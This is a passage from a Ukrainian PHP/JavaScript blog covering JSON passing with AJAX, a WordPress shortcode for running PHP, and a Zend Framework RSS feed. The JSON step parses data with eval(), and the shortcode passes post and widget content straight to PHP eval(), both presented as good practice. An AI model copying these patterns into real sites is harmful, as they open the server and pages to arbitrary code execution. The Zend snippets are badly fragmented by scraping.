success: procesData // функція зворотнього виклику procesData буде обробляти отримані дані
}
});



Крок 2. Генерація даних на сервері та їх передача.




//Це файл dataGenerator.php
$data = array(
0=>array("id"=>45,"name"=>"Петро"),
1=>array("id"=>61,"name"=>"Тарас"),
2=>array("id"=>11,"name"=>"Іван")
);
$jsonString = json_encode($data);
echo $jsonString;



Крок 3. Отримання даних та парсинг їх в об’єкт.




function procesData( data ) {
var obj = eval('(' + data + ')'); // Парсимо json в об'єкт
alert(obj[0].name); // виведе Петро
}



Як бачите використання json є простим способом передачі будь-якого масиву із php в javaScript, особливо це може знадобитися коли потрібно передати результат вибірки із бази даних, що реалізувати без json досить складно.

Бувають ситуації коли ми незнаємо імен властивостей об’єкта отриманого з json і відповідно не можемо звертатися до них. У цьому випадку може знадобитися корисна функція яку я нагуглив, вона обходить об’єкт і взнає імена його властивостей через звертання до них по числових індексах.




//Функція яка показує імена властивостей
function fnShowProps(obj, objName){
    var result = "";
    for (var i in obj) // обращение к свойствам объекта по индексу
        result += objName + "." + i + " = " + obj[i] + "
\n";
	  document.write(result);
}
//Тестовий об'єкт
var myJSONObject = {"ircEvent": "PRIVMSG", "method": "newURI", "regex": "^http://.*"};
//Викликаємо функцію для тестового об'єкту
fnShowProps(myJSONObject,"мій об'єкт з даними");
/* ВИВІД */
/*
мій об'єкт з даними.ircEvent = PRIVMSG
мій об'єкт з даними.method = newURI
мій об'єкт з даними.regex = ^http://.*
*/



Лют 18 2012
 

Якщо ви добре орієнтуєтесь у php і маєте справу з двигунцем wordpress, вам може знадобитися більше можливостей ніж вам надає стандартний інтерфейс створення контентів у wordpress. Я вже писав про те як створювати шорткоди  у wordpress, а сьогодні я покажу як створити шорткод у якому можна писати php код котрий буде виконуватися.

Отже відкриваємо файл з шорткодами у папці вашої теми, зазвичай він називається functions.php. Додаємо у нього наступний код :




 add_shortcode('php', 'eval_php');//Реєструємо новий шорткод у wordpress

 //Функція яка буде виконувати php код
 function eval_php($atts, $content=null){
  if($content==null) {
    return;
  }
  eval($content);
 }



Тепер, використовуючи конструкцію

[p hp]echo "Hello from php";[/php]

ми зможемо виконувати php-код в контенті публікацій та сторінок.

Для того щоб виконувати php-код всередині текстових віджетів, що буває дуже необхідно, нам потрібно вказати wordpress обробляти усі шоткоди які зустрінуться у текстових віджетах. Реалізуємо це через реєстрацію наступного фільтру:




 add_filter( 'widget_text', 'do_shortcode');



Цей рядок коду потрібно додати у файл functions.php у папці вашої теми. Тепер wordpress вміє працювати з php-кодом у постах, сторінках, та текстових віджетах.

Жов 12 2011
 

Сьогодні я розповім як реалізувати rss-канал сайту засобами Zend Framework . Ми будемо використовувати компонент що має назву  Zend_Feed_Writer_Feed , і належить до групи класів призначених для роботи із rss-каналами.

Для початку вам потрібно завантажити бібліотеку  Zend Framework та розташувати її фізично на вашому сайті. Потім вам потрібно додати новий шлях у директиву include path .



1
2
3
4











<?php












$path





 





=





 





'/шлях/до/Zend'











;





 






set_include_path











(











get_include_path











(











)





 





.





 PATH_SEPARATOR 





.





 





$path











)











;












?>








Після того як ви це зробите,  Zend стане готовим до роботи.

Використовуючи  Zend_Feed_Writer_Feed,  ви зможете легко експортувати ваші новини або публікації у rss-канал. API-інтерфейс компоненту дуже простий і не примусить вас тратити багато часу на його освоєння.

Приклад реалізації rss-каналу засобами  Zend Framework



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53











require_once





 





"Zend/Feed/Writer/Feed.php"











;












/**
* Створюємо головний фід
*/












$feed





 





=





 





new





 Zend_Feed_Writer_Feed





;












$feed











->











setTitle











(











'My Blog'











)











;












$feed











->











setLink











(











'http://site.com.ua'











)











;












$feed











->











setDescription











(











'Site Description'











)











;












$feed











->











setFeedLink











(











'http://site.com.ua/rss.php'











,





 





'atom'











)











;












$feed











->











addAuthor











(











array











(






    





'name'





  





=>





 





'Wasyl'











,






    





'email'





 





=>





 





'author@ukr.net'











,






    





'uri'





   





=>





 





'http://mysite.com'











,












)











)











;












$feed











->











setDateModified











(











time











(











)











)











;












/**
* Додаємо хаб
*/












$feed











->











addHub











(











'http://pubsubhubbub.appspot.com/'











)











;












/**
* Отримуємо новини сайту.
*/












$sql





 





=





 





"SELECT * FROM news ORDER BY timestamp DESC LIMIT 0,10"











;












$res





 





=





 





mysql_query











(











$sql











)











;












$news





 





=





 





array











(











)











;












while











(











$row





 





=





 





mysql_fetch_array











(











$res











)











)











{












$news











[











]





 





=





 





$row











;












}





 






/**
* Додаємо записи у фід. 
*/












foreach











(











$news





 





as





 





$single











)





 





{












$entry





 





=





 





$feed











->











createEntry











(











)











;












$entry











->











setTitle











(











$single











[











'title'











]











)











;












/**
* Це посилання має вести на сторінку з новиною на вашому сайті 
*/












$entry











->











setLink











(











'http://site.com.ua/?news_id='











.











$single











[











'id'











]











)











;












$entry











->











addAuthor











(











array











(






    





'name'





  





=>





 





'Wasyl'











,






    





'email'





 





=>





 





'author@ukr.net'











,






    





'uri'





   





=>





 





'http://mysite.com'











,












)











)











;












$entry











->











setDateModified











(











time











(











)











)











;












$entry











->











setDateCreated











(











time











(











)











)











;












$entry











->











setDescription











(











$single











[











'description'











]











)











;












$entry











->











setContent











(











$single











[











'content'











]











)











;












$feed











->











addEntry











(











$entry











)











;












}












/**
* Коли ми закінчили додавати записи у фід, ми можемо його експортувати.
*/












echo





 





$feed











->











export











(











'atom'











)











;








Все наш канал готовий і на нього можна підписатися. Якщо ви все зробили правильно то на виході маєте отримати такий xml.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

















<?xml





 





version





=





"1.0"





 





encoding





=





"utf-8"











?>
























<feed





 





xmlns





=





"http://www.w3.org/2005/Atom"











>












    











<title





 





type





=





"text"











>











My Blog











</title





>


















    











<subtitle





 





type





=





"text"











>











Writing about PC Games since 176 BC.











</subtitle





>


















    











<updated





>

















2009-12-14T20:28:18+00:00











</updated





>


















    











<generator





 





uri





=





"http://framework.zend.com"





 





version





=





"1.10.0alpha"











>












        Zend_Feed_Writer
    











</generator





>


















    











<link





 





rel





=





"alternate"





 





type





=





"text/html"





 





href





=





"http://www.example.com"











/>












    











<link





 





rel





=





"self"





 





type





=





"application/atom+xml"


















        





href





=





"http://site.com.ua/rss.php"











/>












    











<id





>

















http://site.com.ua











</id





>


















    











<author





>


















        











<name





>

















Wasyl











</name





>


















        











<email





>

















author@ukr.net











</email





>


















        











<uri





>

















http://mysite.com











</uri





>


















    











</author





>


















    











<link





 





rel





=





"hub"





 





href





=





"http://pubsubhubbub.appspot.com/"











/>












    











<entry





>


















        











<title





 





type





=





"html"











>

















<![CDATA[All Your Base Are Belong To












            Us]]>

















</title





>


















        











<summary





 





type





=





"html"











>












            





<![CDATA[Exposing the difficultly of porting games to












                English.]]>






        











</summary





>


















        











<published





>

















2009-12-14T20:28:18+00:00











</published





>


















        











<updated





>

















2009-12-14T20:28:18+00:00











</updated





>


















        











<link





 





rel





=





"alternate"





 





type





=





"text/html"


















             





href





=





"http://site.com.ua/link-to-news"











/>












        











<id





>

















http://www.example.com











</id





>


















        











<author





>


















            











<name





>

















Wasyl











</name





>


















            











<email





>

















author@ukr.net











</email





>


















            











<uri





>

















http://mysite.com











</uri





>


















        











</author





>


















        











<content





 





type





=





"html"











>












            





<![CDATA[This is content...]]>






        











</content





>


















    











</entry





>
























<!--












	Далі йдуть решта записів каналу ...












-->


















</feed





>